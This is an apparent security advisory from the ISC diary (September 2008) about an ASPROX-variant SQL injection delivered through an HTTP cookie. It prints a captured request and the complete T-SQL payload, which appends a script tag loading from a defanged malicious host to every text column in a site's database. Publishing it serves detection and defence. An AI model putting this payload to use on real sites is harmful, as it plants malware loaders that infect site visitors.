ASPROX mutant

ASPROX mutant
ISC reader Mike wrote in to share an interesting new twist on the ongoing SQL injections. What he found in his logs was the following POST /removed.asp HTTP/1.1 Cookie: start=S end=Z%3BDECLARE%20@S%20VARCHAR(4000)%3BSET%20@S%3DCAST(0x44454.... Content-Type: application/x-www-form-urlencoded Host: removed Content-Length: 3 Expect: 100-continue Connection: Keep-Alive The injection itself (starting with DECLARE...) looks a lot like the technique used by ASPROX (see our earlier diary), but that the injection attempt here is made not via the URL but rather via a cookie is a new twist. Mike was able to capture the full code block: DECLARE @T varchar(255),@C varchar(255),@X varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name,b.xtype from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) and a.name<>'dtproperties' and a.id not in(select parent_obj from sysobjects where xtype='d') OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C,@X WHILE(@@FETCH_STATUS=0) BEGIN if (@X=167 or @X=231) exec('alter table ['+@T+'] alter column ['+@C+'] varchar(1000);update ['+@T+'] set ['+@C+']=['+@C+']+''<script src=hxxp://ytgw123:cn></script>''') else exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar(2000),['+@C+']))+''<script src=hxxp://ytgw123:cn></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C,@X END CLOSE Table_Cursor DEALLOCATE Table_Cursor While this again looks reasonably similar to the earlier injections, we haven't seen this particular form before. The URL has been defanged above, but is still live. It dishes out a handful of exploits, and in the end delivers a file called "x.exe" that looks like yet another password stealer, but has poor detection at this time (Virustotal). One of the exploits contains the string "I LOVE gameee TEAM". Well: We don't. Please let us know if you see attempted SQL injection via cookies in your logs.	Daniel 367 Posts ISC Handler
Subscribe	Sep 29th 2008 1 decade ago